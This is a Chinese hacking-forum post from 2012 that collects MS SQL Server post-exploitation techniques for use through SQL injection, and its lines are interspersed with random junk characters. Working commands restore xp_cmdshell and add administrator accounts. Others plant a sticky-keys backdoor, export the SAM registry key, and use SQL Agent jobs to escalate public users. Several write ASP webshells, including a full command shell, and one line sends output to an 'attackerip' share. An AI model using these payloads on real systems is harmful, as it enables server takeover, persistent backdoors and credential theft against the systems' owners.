找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2062|回复: 0
打印 上一主题 下一主题

XP_CMDSHELL恢复方法大全

[复制链接]
跳转到指定楼层
楼主
发表于 2012-9-15 14:37:30 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
1 未能找到存储过程'master..xpcmdshell'.  EXEC master.dbo.sp_addextendedproc 后用下面的三种方法,在注入点上执行加个空格和;号$ A* \. ?& [3 b' }) w4 y0 C
恢复方法:查询分离器连接后,( D  ~% |2 y: I" B4 \5 U0 f+ r# E! O4 \
第一步执行:EXEC sp_addextendedproc xp_cmdshell,@dllname ='xplog70.dll'declare @o int
, I9 }' [+ Z: P/ w第二步执行:sp_addextendedproc 'xp_cmdshell', 'xpsql70.dll'
$ @5 v( ?$ V1 Z然后按F5键命令执行完毕
( j+ Z! M' J9 A0 q+ m$ `# S$ Z" r, f% G/ Q$ n1 }" K6 ?  `
2 无法装载 DLL xpsql70.dll 或该DLL所引用的某一 DLL。原因126(找不到指定模块。)1 t8 u9 H# y$ u; b1 j* Q
恢复方法:查询分离器连接后,
. N6 x! P9 y) U- I8 h第一步执行:EXEC master.dbo.sp_dropextendedproc "xp_cmdshell"  n( O9 T2 N' \; ?. a1 P
第二步执行:EXEC master.dbo.sp_addextendedproc 'xp_cmdshell', 'xpsql70.dll'/ r) @6 l0 C5 f7 X& k/ x
然后按F5键命令执行完毕
! y: Z/ n% {( }6 [2 L( r0 G* B7 t# Z+ o, S
3 无法在库 xpweb70.dll 中找到函数 xp_cmdshell。原因: 127(找不到指定的程序。)
& z2 K+ @* c2 H% E9 T恢复方法:查询分离器连接后,9 e5 ^- [, s2 s7 ?
第一步执行:exec sp_dropextendedproc 'xp_cmdshell'
, z/ ]! o; L$ |5 [; R第二步执行:exec sp_addextendedproc 'xp_cmdshell','xpweb70.dll'       - k. x; T% K( v/ g
然后按F5键命令执行完毕  [# e: @: |( s8 g' b8 D- I

# T/ x, W3 q1 G$ ^/ O( [4 Q4 终极方法.: b: T9 y* M" |: |- d! x6 f
如果以上方法均不可恢复,请尝试用下面的办法直接添加帐户:
  a9 D5 G4 M. I查询分离器连接后,
5 w0 q& ]1 Y4 p8 S! l; T: U2000servser系统:
6 k& v0 x; a+ P/ I: M/ Zdeclare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\winnt\system32\cmd.exe /c net user 新用户 密码 /add'9 T+ g, |1 T7 o
$ u) m" H; u% ?- N% e) ?4 O. ?
declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\winnt\system32\cmd.exe /c net localgroup administrators 新用户 /add'0 ^- i6 j) K: W" Z6 W+ X

# F  O3 a0 }7 @7 @0 U2 l: Mxp或2003server系统:
# ?' ]/ e8 Q2 ~1 b7 F- w1 {
1 v/ p, Q6 i& ~2 Z2 adeclare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c net user 新用户 密码 /add'
. T4 n2 l6 G! [$ F2 x
7 F" d" e- N2 Q* p/ }* q2 g/ ^declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c net localgroup administrators 新用户 /add'
& B2 h: D; Y2 o
# {% E8 J2 |/ {( l8 {
5 `4 O* f, d* E: h* U五个SHIFT
% H) p; G9 R% ]: v( I+ b% \5 Xdeclare @o int exec sp_oacreate 'scripting.filesystemobject', @o out exec sp_oamethod @o, 'copyfile',null,'c:\windows\explorer.exe' ,'c:\windows\system32\sethc.exe';
7 u* U' l' q  P/ d$ i' W9 [4 S
3 u' }5 ~, p" u) g/ G' t7 {' rdeclare @oo int exec sp_oacreate 'scripting.filesystemobject', @oo out exec sp_oamethod @oo, 'copyfile',null,'c:\windows\system32\sethc.exe' ,'c:\windows\system32\dllcache\sethc.exe';   J, H9 }& B3 K+ J
) ~; G& Q# y5 a' }+ s
xp_cmdshell执行命令另一种方法
/ m9 L% b1 ?+ h% I  Odeclare @a sysname set @a='xp_'+'cmdshell' exec @a 'net user refdom 123456 /add'
  a1 R7 G6 [. r" ~, S/ F# K1 D' A3 ?# t
判断存储扩展是否存在  P! X) C& @0 j$ v( b
Select count(*) from master.dbo.sysobjects where xtype='X' and name='xp_cmdshell'
4 f; [; l1 }9 X/ s% `& {# ]0 m$ u# Q, Y返回结果为1就OK: {) @1 z! S8 ^1 ]! m+ e) J  O

& M7 C: I, T- E" b# [
/ Z5 L. r) l# K/ O! M* a- ]1 K% I上传xplog70.dll恢复xp_cmdshell语句:
% l( Z2 g; g6 Q! K: P& ?sp_addextendedproc xp_cmdshell,@dllname='E:\newche2\about\XPLOG70.DLL'' S6 C: y, ?, i# d9 R
) D. B3 E4 Q" e7 I9 j* J: f
否则上传xplog7.0.dll- X' Y0 N, A- i) s. K) X% [
Exec master.dbo.addextendedproc 'xp_cmdshell','C:\WinNt\System32\xplog70.dll'
% L! h( H1 i, e" X! P3 @  n
* ^, j( E4 Z9 v
$ c5 S0 d9 M3 @$ ~0 A# d  V. R0 V; g- a& S  e# J6 k
首先开启沙盘模式:
- d+ V0 D! `0 |3 yexec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',1$ x! u4 i7 C( d* T# {+ E/ B
, A$ ]) X9 _4 K3 v! A' _9 x. w
然后利用jet.oledb执行系统命令
" }; H7 F2 b! X9 Jselect * from openrowset('microsoft.jet.oledb.4.0',';database=c:\winnt\system32\ias\ias.mdb','select shell("cmd.exe /c net user admin admin1234 /add")')
- P4 K& W& T) ^5 m8 b+ J返回 不能找到c:\windows\system32\ias\ias.mdb错误,用exec master..xp_dirtree 'c:\windows\system32\ias\ias',1,1--  发现c:\windows\system32\ias\ias.mdb没了,应该是被管理员删掉了,还有另一个mdb也没了2 ~& p, w! o; M8 E0 y" x( }

% X( Y/ Q: \& v0 P. W: I. `
0 g' X0 k6 s$ @
) I/ ^3 p9 ?% O( \! ]' o恢复过程sp_addextendedproc 如下: 5 i4 v$ T) |5 q( e8 f! l1 Y) B' Z: Q
create procedure sp_addextendedproc --- 1996/08/30 20:13 - t6 g& S( O& r0 S  U
@functname nvarchar(517),/* (owner.)name of function to call */
2 D- s7 Z3 e# D/ x, k4 h2 h@dllname varchar(255)/* name of DLL containing function */ 8 h2 X3 g5 Q$ `8 {% l( U# A5 _
as
7 P: q: k/ C3 R0 oset implicit_transactions off # U, J! R5 K' u
if @@trancount > 0 0 z! |+ H" N  Z
begin / l; V2 g" {& b. i) u6 I3 X
raiserror(15002,-1,-1,'sp_addextendedproc') ; w( l% u0 M" S1 I! W9 C0 |
return (1) & J/ H$ K9 V8 c8 l7 [) P* Q" y4 g6 A
end 8 s/ y* c/ w* f" z# Z# I" R, l
dbcc addextendedproc( @functname, @dllname) ) J0 u# K/ _) y, l" n: G6 A
return (0) -- sp_addextendedproc
! T9 t7 ?9 o5 |0 }, o+ u7 AGO * t3 F0 [9 c$ e2 C8 D

7 i- n/ O& l) Q& T2 p7 J' [# |4 T% }9 o/ Y: k: Q* l9 Y
6 Q  p5 w7 [9 x7 x
导出管理员密码文件5 n7 y; n. s9 ]( W
sa默认可以读sam键.应该。
: M- y- j0 N; @/ T! ereg export HKLM\SAM\SAM\Domains\Account\Users\000001F4 c:\old.reg9 B' `0 m& X1 [4 m' w7 Q
net user administrator test
4 Q' l# ?6 z3 r" _* i+ O6 G用administrator登陆.
* m; k  S# m" ~2 p. i# d用完机器后- D. {  x8 a; y2 r" a" ^$ P) C
reg import c:\test.reg
1 O3 B. x" G3 R4 k5 S! w: }* t  W根本不用克隆.
6 w' T: v) D) H4 d; v+ g找到对应的sid. , O1 ]- Q6 L- K) D( {  P9 Z1 a, B

' S& F3 ]* b+ N  Q! g: d, Y6 E" {2 _0 S
8 c' G- p- @7 V
恢复所有存储过程* f' J2 \' T7 Y1 ?, [! N
use master 6 H) U2 j$ \/ ?. D
exec sp_addextendedproc xp_enumgroups,'xplog70.dll' ' n# X( t4 Q5 U) H( T
exec sp_addextendedproc xp_fixeddrives,'xpstar.dll' 5 t: R2 J2 k# N
exec sp_addextendedproc xp_loginconfig,'xplog70.dll' 3 ~: Q9 R; D* r$ L: @) F
exec sp_addextendedproc xp_enumerrorlogs,'xpstar.dll'
& Z- h  Z- j8 E! l$ x3 C( o8 rexec sp_addextendedproc xp_getfiledetails,'xpstar.dll'
8 J! T- E' i) t' @0 H; `$ F  s8 Kexec sp_addextendedproc sp_OACreate,'odsole70.dll'
* `+ [- Q2 \. K6 L7 h$ Iexec sp_addextendedproc sp_OADestroy,'odsole70.dll' - p9 o, O6 h1 m8 a) Y# u
exec sp_addextendedproc sp_OAGetErrorInfo,'odsole70.dll'
1 z& g1 K) u5 {! |( j+ N8 wexec sp_addextendedproc sp_OAGetProperty,'odsole70.dll' : e4 k) R# s, T3 y4 b- `! T& ^
exec sp_addextendedproc sp_OAMethod,'odsole70.dll'
9 U- E4 K: V& m+ _8 F1 n' \8 u8 Q" W  vexec sp_addextendedproc sp_OASetProperty,'odsole70.dll' 5 g" {  |. \; ^+ }
exec sp_addextendedproc sp_OAStop,'odsole70.dll' 2 f0 [# p, b4 ?
exec sp_addextendedproc xp_regaddmultistring,'xpstar.dll' ; y  _0 N" s& e4 T+ V
exec sp_addextendedproc xp_regdeletekey,'xpstar.dll' 8 }9 j, b; l0 H0 [/ K! w0 M7 B6 d
exec sp_addextendedproc xp_regdeletevalue,'xpstar.dll' 1 Y; w( A! S" n, \( n
exec sp_addextendedproc xp_regenumvalues,'xpstar.dll' 3 }. x. t% ^* A
exec sp_addextendedproc xp_regread,'xpstar.dll' ( v, Z' T7 E- ~5 w: u9 E
exec sp_addextendedproc xp_regremovemultistring,'xpstar.dll' * ^, {6 {( G' _5 K6 [/ f
exec sp_addextendedproc xp_regwrite,'xpstar.dll' $ y3 V# B) ^* ~  r
exec sp_addextendedproc xp_availablemedia,'xpstar.dll'0 V6 E0 C: n" e3 Z) ]2 o

9 S/ ?# A; @: C3 l3 q: M/ d
; u8 J/ z/ Q+ S8 t建立读文件的存储过程
0 S' c" _0 b# F  ?# o/ ZCreate proc sp_readTextFile @filename sysname
7 y9 M; U+ I3 \& Cas
, D2 M$ M, {. \$ h2 S1 E
4 h. x, ^- I5 H7 ~1 B. _7 t, W    begin   J0 v  S" h. ^
    set nocount on : S6 J0 r* \! A8 i
    Create table #tempfile (line varchar(8000))! W  N6 |, z/ i6 d; \
    exec ('bulk insert #tempfile from "' + @filename + '"')- t: d- G/ ]/ v
    select * from #tempfile
* U% ]) j6 b+ l1 I    drop table #tempfile$ Q; O9 v. }/ f7 d
End8 b4 W+ V& T1 k: U

) S5 w, e+ x7 a# z+ Mexec sp_readTextFile 'D:\testjun17\Teleweb-Japan\default.asp' 利用建立的存储过程读文件
* d( W- `  ?; T) m查看登录用户
6 T' q( s* E+ B1 M$ H2 ZSelect * from sysxlogins9 j, p: u8 W2 N* ?; f7 m: U
/ [( o& J6 ^9 E( z+ J. i5 z
把文件内容读取到表中+ r7 d: o) R' A
BULK INSERT tmp from "c:\test.txt"
/ a! O2 A* ]* P9 p/ z, Y. h$ qdElete from 表名 清理表里的内容- U5 j7 @/ D7 y( u2 C9 `3 ~/ f& e; j) R
create table b_test(fn nvarchar(4000));建一个表,字段为fn( @& g5 g/ Y# W; e% z' |) |3 k$ s1 I; L
; y4 ?+ _, d5 N3 j+ J  C
( I* U4 }0 ?( V7 j2 s
加sa用户' T- v: J2 Q( l  y- ^
exec master.dbo.sp_addlogin user,pass;
" U" w# {% U6 q8 s; ?9 y4 W/ ]exec master.dbo.sp_addsrvrolemember user,sysadmin
6 _! Y6 b2 S5 x' k) d" y) X, F: _+ D* M7 ?8 O( I

+ V/ B- d2 S7 Q- u! s4 k. c8 Y/ S: j6 a; Q: X
读文件代码
' F# T- G0 n$ R( n. k$ ]6 [( T, P, hdeclare @o int, @f int, @t int, @ret int' E* q5 [4 l4 t( l. H+ i. {
declare @line varchar(8000)
6 G6 O4 [: N( o- y  C/ _exec sp_oacreate 'scripting.filesystemobject', @o out  r. t' E/ V$ ?# T! {
exec sp_oamethod @o, 'opentextfile', @f out, '文件名', 1: j) P/ L+ w& a* [. k& d
exec @ret = sp_oamethod @f, 'readline', @line out" c) e8 h9 @: s1 E" ?2 [
while( @ret = 0 )+ R7 U1 J# q5 t
begin2 N# v+ j* @# P4 G" E
print @line
3 @$ Q# [* }# P" i. c1 d; mexec @ret = sp_oamethod @f, 'readline', @line out
! @1 g" `# R$ V8 Oend
" @/ o/ Q8 b, h8 i6 F! C) T3 I, n' D+ k! _

" v" e2 k( ^& G7 L: E0 A' n写文件代码:
2 `) M, r# i% `: x) ~. Zdeclare @o int, @f int, @t int, @ret int
" V! i9 V' r1 B! a8 t# W4 Aexec sp_oacreate 'scripting.filesystemobject', @o out! N5 D4 Z6 G1 f' }$ a
exec sp_oamethod @o, 'createtextfile', @f out, 'd:\Program Files\RhinoSoft.com\Serv-U\ServUDaemon.ini', 1# x* p+ @9 g5 S4 j. b* ]- O4 ^9 Q
exec @ret = sp_oamethod @f, 'writeline', NULL, 《内容》
- \- W3 ^( T3 k9 s
& L' A3 _$ G% b9 g& @3 `
) K7 C+ C+ ~) ]2 W, Z: F- M添加lake2 shell) m" z1 R9 p% Q7 Q
sp_addextendedproc 'xp_lake2', 'c:\recycler\xplake2.dll'
- p1 K1 c) J9 S: R9 P* dsp_dropextendedproc xp_lake2& o7 a/ @! w* h, P  n" I5 w' v5 o
EXEC xp_lake2 'net user'3 c3 G7 o4 H0 H- i% H

6 B. g+ _8 [* Y% ]: ~8 {& x; `% |5 B
得到硬盘文件信息
3 ~2 s5 ^% `  n% B8 i--参数说明:目录名,目录深度,是否显示文件
" j. D6 l. q9 p' jexecute master..xp_dirtree 'c:' , h+ ]0 M% T( B& E, K+ m
execute master..xp_dirtree 'c:',1 / a% @$ K1 E/ m7 A/ I: U5 v
execute master..xp_dirtree 'c:',1,1
9 M, i) H* m0 G6 T7 a
! D6 S7 \3 ~% d3 ]) T
" j! n) f7 K5 |读serv-u配置信息. G$ s3 o( L) n" q8 G& w1 a, A
exec sp_readTextFile 'd:\Program Files\RhinoSoft.com\Serv-U\ReadMe.txt'
$ n8 R% `% Z% h3 U$ B8 P  @0 Iexec sp_readTextFile 'd:\Program Files\RhinoSoft.com\Serv-U\ServUDaemon.ini'  I+ z6 {* T, N$ J% _# a
9 f) l4 p; j4 u. ~2 B
通过xp_regwrite写SHIFT后门
" r6 c# x9 O. |$ v' z) Z/ d  }; Wexec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe','debugger','REG_sz','c:\windows\system32\cmd.exe on';--
. X; y9 M8 i7 P. ~  `$ ~" r$ p( q8 T- Q5 J
" Z* S! V9 i; B  A+ o7 M2 E
& y8 w1 g, g' `  k$ b5 v7 w
找到web路径然后用exec master.dbo.xp_subdirs 'd:\web\www.xx.com';
6 {, q2 k3 q& O" Gexec sp_makewebtask 'd:\web\www.XXXX.com\XX.asp','select''<%execute(request("SB"))%>'' '备 份一个小马就可以了- {) v6 k5 @3 u3 j1 v
2 a( B6 G9 Y& `4 a7 Z0 O1 R
EXECUTE sp_makewebtask @outputfile = ‘WEB绝对路径\导出的文件名.asp',@query = 'SELECT 你的字段 FROM 你建的临时表'
7 r/ a4 k8 S0 o' ^$ ]
( T6 Z! H# Y' v9 ~' g# d
  g; e  \- s: ?6 H" W5 w* V. |0 D  e8 [8 p
sql server 2005下开启xp_cmdshell的办法
5 v2 `( }3 k$ O; T+ n4 Z$ M! @- q+ s6 J) R8 M7 \+ l& f* J
EXEC sp_configure 'show advanced options', 1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell', 1;RECONFIGURE;
& K8 d$ f, t+ U) g( e$ x
# Q8 V" v$ E( d9 T: ?+ a; aSQL2005开启'OPENROWSET'支持的方法:
5 Z8 B+ {/ r9 F( }6 B- B
, n0 s( S) t4 e8 v. pexec sp_configure 'show advanced options', 1;RECONFIGURE;exec sp_configure 'Ad Hoc Distributed Queries',1;RECONFIGURE;/ p# F2 _6 A* o& Z
8 H% Q/ z- |- }! U5 h- ]7 \- i/ Q
SQL2005开启'sp_oacreate'支持的方法:
, I  ^. p+ S9 J% @+ F$ E5 M; P( O- ~; j2 }* W1 M1 E
exec sp_configure 'show advanced options', 1;RECONFIGURE;exec sp_configure 'Ole Automation Procedures',1;RECONFIGURE;8 n& [  Z( P1 y1 w3 e

1 u- s8 o9 e. f- U' t; t. Y. F

  q. q8 v/ s3 t/ {% _. k
& ~' H) ^3 c! x( z( f$ w! w+ ?0 j3 s0 b6 z" d

3 E* M9 V- d. E2 O: U! W
5 r- w2 |' N$ G+ e) I' s8 A+ u* M( S7 a% X

  @# g; \1 v5 S4 e2 Q' g$ E- t- E* L: A% m9 y1 ]
) j: G! }5 S; ]0 T( i' p. |

* D# J9 n0 Z7 ^* h0 U8 w9 Q& |& \+ Y
2 C* z7 w, t2 p, G' c/ X
4 l- J9 g7 S& m# I! o( P: H

2 z' m# R% g7 v0 B: \) A; E, ?8 n' b$ ~/ }
8 U& v# Y. q- n4 |+ S
! j% |. r* R5 _0 f& t- C

& Q  ]9 F- X+ r' n# U' C2 s  x% S' ~, E4 [& k2 a9 Y' z- x
( b" V7 d  T; P1 Y% [3 G$ o
& r4 {4 `. f7 C$ `% U

/ Y! X. [7 d7 T+ I4 `+ l以下方面不知道能不能成功暂且留下研究哈:- `+ b: m/ @' p# r/ r
4)
2 N4 h: D4 s* N; P! K& Y( ~use msdb; --这儿不要是master哟
; l9 W! a# j( @  s3 zexec sp_add_job @job_name= czy82 ;0 O1 \: m9 C- l) [( H8 M# O1 N- C
exec sp_add_jobstep @job_name= czy82 ,@step_name = Exec my sql ,@subsystem= CMDEXEC ,@command= dir c:\>c:\b.txt ;
" h) M* p8 x( Y8 i+ i* ?exec sp_add_jobserver @job_name = czy82 ,@server_name = smscomputer ;% h2 {: n( b1 O
exec sp_start_job @job_name= czy82 ;  @) u0 W  d- s. i5 d  C, E! Q

  T6 s. \: C. t" K9 i0 V, ~5 |利用MSSQL的作业处理也是可以执行命令的而且如果上面的subsystem的参数是tsql,后面的我们就可以! S  C" ^) W" a# \0 F
执行tsql语句了.  p# b1 P5 j. Y+ ^8 p
对于这几个储存过程的使用第一在@server_name我们要指定你的sql的服务器名
% N) H8 }$ V- v& b3 t" f  M/ A% ?第二系统的sqlserveragent服务必须打开(默认没打开的气人了吧)
8 l' G3 Q- `) `net start SQLSERVERAGENT
! O8 W/ I; i1 _8 U
) r1 T  D7 U5 c+ q: [对于这个东东还有一个地方不同就是public也可以执行..同这儿也是有系统洞洞的看下面的2 N: X9 @) p0 X/ K/ k
USE msdb
8 n! ^! c6 ]9 G/ T. j1 s# {EXEC sp_add_job @job_name = GetSystemOnSQL ,
6 J& J; L" k6 C, U+ T3 z0 [@enabled = 1," d* z7 `* g9 n8 n7 A; u
@description = This will give a low privileged user access to7 _% P; s5 o1 G) K
xp_cmdshell ,
. U$ O) c- n8 w1 R4 U, r' ?3 U@delete_level = 11 ?5 B, A* J* d
EXEC sp_add_jobstep @job_name = GetSystemOnSQL ,
5 g. q+ r8 ^% C" z1 ]* ^@step_name = Exec my sql ,/ X1 x0 n& r2 O* n  C( T1 k  t( e
@subsystem = TSQL ,
  S' T  G% I/ F* t. H8 }9 N* s@command = exec master..xp_execresultset N select exec6 \5 D: C% d3 }: A
master..xp_cmdshell "dir > c:\agent-job-results.txt" ,N Master
7 r; U2 {7 L& ~! bEXEC sp_add_jobserver @job_name = GetSystemOnSQL ,& T7 ?  h- y& ^  k8 }8 D/ r0 Q
@server_name = 你的SQL的服务器名
2 L( ]/ O# n5 ?# D6 F7 {4 fEXEC sp_start_job @job_name = GetSystemOnSQL
. J+ S9 x) B9 u
2 t0 |2 A$ I" `9 ?不要怀疑上面的代码,我是测试成功了的!这儿我们要注意xp_execresultset就是因为它所以
1 ?" H9 S6 u2 g5 ]5 Q才让我们可以以public执行xp_cmdshell
+ c/ a3 B& e6 r" i) B1 E9 n) J' W1 }% [9 D$ p) C8 W% {
5)关于Microsoft SQL Agent Jobs任意文件可删除覆盖漏洞(public用户也可以)0 M7 X; k, E$ C0 E% G
在安焦有文章:http://www.xfocus.net/vuln/vul_view.php?vul_id=2968& ~5 [( ^5 S2 D' R" Z/ k3 @
0 v$ j7 R2 r5 D5 m" v* ^
USE msdb9 L, ?% i" k7 ^
EXEC sp_add_job @job_name = ArbitraryFilecreate ,
/ A$ ]+ ^/ u# ^7 y6 A) i@enabled = 1,4 O9 {( [8 ]. z; B
@description = This will create a file called c:\sqlafc123.txt ,3 {6 H( m1 j. {9 y% Z
@delete_level = 1  U$ ~& c1 @8 _% o' @
EXEC sp_add_jobstep @job_name = ArbitraryFilecreate ,
2 W1 u; {2 Y4 }, _9 m7 r/ j$ o@step_name = SQLAFC ,  r: d5 {3 `% [2 b% d: G
@subsystem = TSQL ,
- s  [) X& _8 e4 S8 `4 c@command = select hello, this file was created by the SQL Agent. ,
$ `8 w- o9 D/ K# z5 e% T/ U! ~@output_file_name = c:\sqlafc123.txt
) s0 \! c2 v$ I, m! B; g* HEXEC sp_add_jobserver @job_name = ArbitraryFilecreate ,
; ~2 E/ p: Y+ [* ~" q5 h) K. l@server_name = SERVER_NAME
. W% _/ u9 [: gEXEC sp_start_job @job_name = ArbitraryFilecreate 0 x) H: K: @9 K( v
+ ^& I& k6 P  `2 X: J2 B; B
如果subsystem选的是:tsql,在生成的文件的头部有如下内容
5 a+ N, y2 i  Q7 K6 Q3 N* V; r: k( J
??揂rbitraryFilecreate? ? 1 ?,揝QLAFC? ???? 2003-02-07 18:24:19$ d/ z0 k; p9 |2 z6 P
----------------------------------------------
% L0 h7 s" K$ E# J, F, M7 Z2 Zhello, this file was created by the SQL Agent.  f: n; x  w$ n$ Y

, f2 ]5 N9 L% L; P9 }& m9 s(1 ?????)! a9 [+ o$ M. b* C) s
6 i" s. b* N. I8 \- ?8 Y6 l
所以我建议要生成文件最好subsystem选cmdexec,如果利用得好我们可以写一个有添加管理员4 @) i- s# p# [5 D
命令的vbs文件到启动目录!
$ s! G: j0 \9 m: R' @9 @. V! m2 t5 X9 ?
  b1 R8 F' `: f8 o0 E4 \6)关于sp_makewebtask(可以写任意内容任意文件名的文件)
" d+ e' D! w  |" p( E7 c) [5 S关于sp_MScopyscriptfile 看下面的例子
( E" A3 \; }* Y: N8 Ddeclare @command varchar(100)
8 t, C& K: m- o  @# Bdeclare @scripfile varchar(200)
; e* Y5 \  N7 G9 Iset concat_null_yields_null off 8 b9 v8 ~6 P. b4 n3 N; u
select @command= dir c:\ > "\\attackerip\share\dir.txt"
$ X3 V' `6 m3 u! g9 o& s% \select @scripfile= c:\autoexec.bat > nul" | @command | rd "
" B3 q# E  B4 j" Iexec sp_MScopyscriptfile @scripfile , * ?* n+ u. u5 m

/ P$ I* A' {8 J0 i. `" K这两个东东都还在测试试哟
6 N& h3 e0 o: C$ d# ^3 a让MSSQL的public用户得到一个本机的web shell8 L+ I# V; v8 r  e

9 P# k- u+ R& t6 b# {sp_makewebtask @outputfile= d:\sms\a.asp ,@charset=gb2312,
5 D' K6 x* Q$ D/ g5 b--@query= select <img src=vbscript:msgbox(now())>
7 q$ }7 Q9 @4 m+ M- I# }1 m8 Y--@query= select <%response.write request.servervariables("APPL_PHYSICAL_PATH")%>
: n4 s4 m7 z4 o: y5 @4 B, [9 K6 @@query= select . l5 m  l# h& h' D2 c
<%On Error Resume Next 7 R: ~# s& n' B  J
Set oscript = Server.createObject("wscript.SHELL") ' L, {2 q# n; {$ Y
Set oscriptNet = Server.createObject("wscript.NETWORK") 4 C& Y! A( e: x4 E
Set oFileSys = Server.createObject("scripting.FileSystemObject") " z1 h) D- n) P! d2 M+ b3 {  z3 d
szCMD = Request.Form(".CMD") 5 p( Y! D& r8 @9 N& h; S7 u
If (szCMD <>"")Then ' i% x  O' i" @* p- ^6 V5 {
szTempFile = "C:\" & oFileSys.GetTempName()
! D. C9 [" `- L8 T* @Call oscript.Run ("cmd.exe /c " & szCMD & " > " & szTempFile, 0, True) / H2 Z/ w9 ?/ ~+ \$ R3 M
Set oFile = oFilesys.OpenTextFile (szTempFile, 1, False, 0)
! _, u  o& s: j  }, O. AEnd If %>
' u6 y& F* q& a8 H5 k& P<HTML><BODY><FORM action="<%= Request.ServerVariables("URL")%>" method="OST">
6 w1 @! W" W0 c6 {2 l<input type=text name=".CMD" size=45 value="<%= szCMD %>"><input type=submit value="Run"> : u- _; c$ Z5 n# L" n* D! M
</FORM><RE>
0 D" a/ w! b+ T9 \! c6 V* J' p<% If (IsObject(oFile))Then
4 F% U; ~# s$ A2 H8 nOn Error Resume Next + Q+ @7 ^1 Y. G+ E/ v. H4 [5 C8 ^
Response.Write Server.HTMLEncode(oFile.ReadAll)
1 m$ {4 C8 b! \+ o8 v2 V  aoFile.Close . [: m/ c% F' B. h1 q# f, x
Call oFileSys.deleteFile(szTempFile, True)
! u; c" E* N$ BEnd If%>
+ d+ ]# y2 {5 Q( l- y( P# ^</BODY></HTML>
8 C1 G/ F5 \8 ^& M: ]
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表